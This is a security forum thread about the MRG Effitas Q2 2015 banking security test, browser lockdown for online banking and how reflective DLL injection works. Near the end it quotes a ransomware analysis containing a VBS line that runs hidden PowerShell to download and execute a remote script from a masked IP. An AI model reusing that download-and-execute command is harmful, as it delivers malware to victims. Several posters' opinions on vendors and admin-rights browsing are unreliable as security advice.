MRG Effitas Online Banking/Browser Security Q2 2015

Interesting Trojan. The payload is named infected.exx. Strange they used the word, infected; kind of like waving a "red flag" at you.

Note the .exx file extension. That extension is being used by the latest crypto malware e.g. Tesla and Alpha, when they encrypt files. My guess the file is downloaded encrypted to avoid AV detection or blocking via HIPS/SRP rules for AppData file execution. Then later, it is probably decrypted remotely by the bot and executed.

 

Emsisoft no longer is tested in this test. It used to ace this test. Per Emsisoft, they quit this test for budget reasons. Anyone know of any similar third party tests on account stealing/bank security that did test Emsisoft. My Emsisoft subscription ends soon, so I would like to know how it does in this regard, since that type of security (banking and account security) is one of the main reasons I went to Emsisoft.

 

Appears you haven't thoroughly read the MRG banking test reports of late. It is MRG's contention that the only way you can do safe on-line banking is with an armored browser; they have said as much in these reports. EIS does not have an armored browser and from what I can gather has no intention of incorporating one. Hence, why waste your money on a test that you know you can't pass?

 

Without getting into all the ins and outs of how to lock down your browser - there are plenty of articles on the web about that - here's a simple way to do it for online banking. Using IE as an example, enter on the command line, not the command prompt, the following:

iexplore.exe -private -extoff www.bankname.com Note: spaces between the "-" and the beginning of the bank URL.
​

What this does is open IE in private mode meaning nothing about your Internet session will be retained; activeX(flashplayer) and all add-ons are disabled; and you immediately connect to your bank's web site bypassing your home page. Make sure you shut down the browser after completing a banking session.

I also make it a habit to "flush" all IE's temp files and cookies prior to doing a banking session. If typing the above command is a pain for you, create a .bat script and run it from your desktop. Here's a link to how to set up private mode for other browsers: http://www.thewindowsclub.com/launch-start-private-browsing

​

 

I also run IE with elevated rights (Run as Administrator) when online banking. This way iexplore.exe is running in high integrity level, preventing all processes with medium and low IL to access IE's resources. I use IE only for online banking and use CCleaner right after each session.

 

Since it has been mentioned that sandboxing might protect against dll injection, Cutting_Edgeguard completed his testing using three different dll injection tools. None prevented basic non-memory based injection.

It is important to remember that sandboxing is a containment mitigation; preventing the browser from infecting non-browser processes and system storage areas. Used properly, sandboxing can greatly reduce the chance of banking malware downloading and installing itself from the browser. This is after all the primary objective of security software. Browser sandboxing however will not protect you against resident malware.

 

What is the difference between command line and command prompt?

 

It is the "search box" that appears after you click on the Start globe icon on the lower toolbar in WIN 7 for example.

 

Let's take a look at Kapersky Safe Money; one of MRG's certified solutions.

From the following ref: http://www.kaspersky.com/downloads/pdf/kaspersky_lab_whitepaper_safe_money_eng_final.pdf

Having launched the browser in Safe Money mode, the user must ensure that all personal data is protected against theft or modification by fraudsters. Safe Money and Kaspersky Internet Security achieve this by blocking any attempts to introduce malicious code via the browser, read the memory, display fake windows, or take screenshots.​

A bit more detail from this ref: http://www.tomsguide.com/us/kaspersky-total-security,review-2045.html

For those who shop or bank a lot online, the Safe Money feature built into Kaspersky Total Security is an appropriate defense. The key commerce sites you list with the program will come up inside a "hardened," more secure version of Google Chrome that runs separately from any regular version of Chrome you have installed.
​

Hum ........... Where have I seen this concept before? Ah, now I remember. Bitdefender many moons ago used the same approach when they offered their free stand alone version of Safe Pay. They selected an out of date version of Chromium that was shown in testing to be actually more vulnerable than the current publically released version.

So we now have to rely on the security vendors to ensure that their hardened browser versions are constantly maintained; something Bitdefender never did with their free version; and subjected to the same stringent security, performance, and usability factors that the browser manufacturers employ. Next we have to trust that the vendors didn't slip perhaps some "goodies" into those browsers that might indeed enhance their bottom line -or- something far worse? I find it a bit interesting that the AV vendors espousing this approach are either Russian or former eastern block Soviet Union countries. BTW - the same applies for "served up" web browsers from Quarri and the likes.

Thanks but no thanks. If I want a "hardened" browser solution, I will just create a bootable DVD/R or write protected USB stick containing the browser of my choice. This way I ensure that whenever there is a browser security fix or upgrade, I can just recreate my bootable media. And, I don't have to worry that my "hardened" browser is really a Trojan Horse .................

If you think this is all rampant paranoia, please refer to the recent IBM privacy policy for Trusteer Rapport discussion in Wilders.

-EDIT- For those with money to burn, here's a USB armored browser in the "Fort Knox" category: https://www.vasco.com/products/client_products/pki_digipass/hardened_browser.aspx

Also here is a relatively affordable if you consider $100 an affordable solution: http://www.ironkey.com/en-US/encrypted-storage-drives/250-personal.html . These drives are built like tanks. I know of people who have driven a car over these with zip effect. Here's a comparison chart that show the features of the S/D 250: http://www.ironkey.com/en-US/resources/documents/IronKey-S1000-S250-and-D250-Comparison-Chart.pdf. Make sure you select the Personal and not Basic versions. Note that no reboot is required using these drives; they totally lockout any installed resident OS intrusion when in use. Also they have their own self-contained AV solution. Not mentioned is when using their Firefox browser, a secured tunnel is established using Imitation servers and Tor network to your bank servers eliminating any chance of a MITM. Finally PC Mag reviewed these and said browsing speed is slow. So only practical everyday use would be for online banking/purchases.

 

Are you still there Zoltan_MRG? I'm still trying to figure out how "reflective-dll-injection" exactly works.

 

Refer to reply #69. Executing DLLs from memory is reflective dll injection.

-EDIT- The main difference between conventional and reflective ddl injection is how the malware dll is loaded into the target process.

In conventional dll injection, the dll resides physically on disk somewhere separate from the malware process itself i.e. disk to memory transfer. Refer to step 4. of the injection log I posted in reply #30. Note there how the dll to inject into the target process is being retrieved from disk. As such when the malware tries to inject into the target process, it is much easy for AVs to detect that activity.

In reflective dll injection, the malware is injecting the dll directly from memory into the target process i.e. memory to memory transfer.

Finally reflective dll injection is not an exploit mechanism. To exploit, you need a vulnerability. You don't need a vulnerability to use reflective dll injection. More info on reflective dll injection here: http://security.stackexchange.com/questions/20815/detecting-reflective-dll-injection . From the same link is a quote that sums it up best: You do exploit an application to execute arbitrary code. However, if you are already ON the system, post-exploitation, then it is irrelevant... you can now write to memory in a process within your privilege rights, and then call the main in your injected DLL. In other words without privledge escalation, none of this is possible. You can't do reflective ddl injection to a higher privileged process but you can do so to one running at the same level as the malware. If you wish to inject a higher privledge level process, then the malware must "exploit" to gain higher privileges.

 

Yes I understand, you already explained this. But I'm trying to figure out how the MRG simulator worked. According to Zoltan_MRG, the DLL was loaded from disk, not from memory, then how is it "reflective"?

And I wonder how malware that's running locally, can inject a dll file from memory in the first place, I mean the file should always be on disk, not? When used in an exploit, it's easier to visualize, because the dll is loaded from the attackers machine (over the network), and doesn't have to touch the local disk.

 

He commented on that previously. It was not reflective dll injection the simulator used; just plain disk based dll injection.

Partially true; about being disk resident. The malware download contains the .exe and an associated reflective .dll. The malware starts up sometime later; most likely at next boot time. It then loads the reflective .dll into its own memory space. The malware then later injects the reflective .dll from its memory space into the memory space of the targeted process. The assumptions here are:

1. The malware upon startup is not doing anything malicious, so AVs and behavior blockers will let it run.
2. After startup, the memory injection occurs. AVs won't detect this and neither will many behavior blockers. Emsisoft's behavior blocker is an exception since it will hook any unsigned and unknown process and monitor the malware for suspicious activities; one being trying to modify the memory of another process.

Another variation, much more dangerous, is shown below. Here all that is run is a VB script from an infected email attachment. Since all the downloading and running of the malware is being done by Powershell, the malware bypasses all AV and behavior blockers since Powershell is a trusted system process.

El-Polocker is distributed through fake DHL penalty notices that contain a link to a zip file hosted on DropBox that contains a VBS file called Penalty.vbs. If this file is run it will download and execute a PowerShell script that is the main component of the El-Polocker ransomware.

Set oShell =CreateObject("Shell.Application")

oShell.ShellExecute"powershell","-WindowStyle Hidden -sta -executionpolicy bypass if (1 -eq 1){IEX ((New-Object Net.WebClient).DownloadString('http://193.xxx.xxx.xxx/wall/encrypt.ps1'));}","","",1

Once the PowerShell script is launched it will inject the C:\1\Reflect.dll into Explorer.exe using a script from PowerSploit[/b] and then executes the DLL’s VoidFunc function.
Ref. http://www.bleepingcomputer.com/for...hicken-as-it-encrypts-your-drives-and-shares/

 

I believe he clearly said that it was reflective dll injection.

Thanks for the feedback, I think I now understand it, so basically it's injection from memory to memory, instead of from disk to memory. But a HIPS should be able to block this, correct?

 

I know a specific app Eset HIPS rule against process modification will. I believe Comodo's Defense+ by default protects certain apps from memory modification. I think the same applies to Outpost HIPS.